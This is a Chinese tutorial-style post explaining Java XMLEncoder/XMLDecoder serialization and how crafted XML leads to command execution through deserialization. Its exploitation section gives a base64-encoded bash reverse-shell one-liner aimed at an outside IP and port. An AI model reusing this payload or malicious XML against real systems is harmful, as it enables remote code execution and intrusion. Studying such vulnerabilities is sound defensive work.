XMLDecoder和XMLEncoder
XMLEncoder类是互补替代ObjectOutputStream,并且可以以相同的方式用于产生的文本表示的JavaBean
组件,而XMLDecoder从XMLEncoder生成的xml文档中获取JavaBean
组件
XMLEncoder用法
1 | public class test { |
生成如下文件test.xml
XMLDecoder用法
1 | public class test { |
控制台输出对象如下
标签说明
string
标签
test,test 字符串的在XML中表示方式为<string>test.test</string>
object
标签
通过
1 | <object class="java.lang.Runtime" method="getRuntime"> |
void
标签
通过 void
标签表示函数调用、赋值等操作, method
属性指定具体的方法名称。 JButton b = new JButton();b.setText("Hello, world");
对应的XML文档:
1 | <object class="javax.swing.JButton"> |
array
标签
通过 array
标签表示数组, class
属性指定具体类,内部 void
标签的 index
属性表示根据指定数组索引赋值。String[] s = new String[3];s[1] = “Hello,xml”; 对应的XML文档:
1 | <array class="java.lang.String" length="3"> |
XMLDecoder反序列化漏洞
简介
根据XMLDecoder解析XML并且运行代码调用方法的机制,我们可以构造恶意XML让其解析并且执行
利用
这里调用ProcesserBuilder("cmd").start()
执行命令,构造xml如下
1 |
|
也可以用Runtime.getRuntime().exec()
执行命令
1 | <?xml version="1.0" encoding="UTF-8"?> |
XML被XMLDecoder解析执行,结果如下
- 每个数组
array
用于制造命令间的空格 - 反弹shell此处的花括号
1
{echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMTk1LjE0OS41MC83NTc1IDA+JjEn}|{base64,-d}|{bash,-i}
{}
用于将字符串分开,即{echo,1}
等价于echo 1
工具
github上的项目XMLDecoder-payload-generator
可以自动生成payload
分析
过几天再补,先留个别人的链接
https://blog.csdn.net/SKI_12/article/details/85058040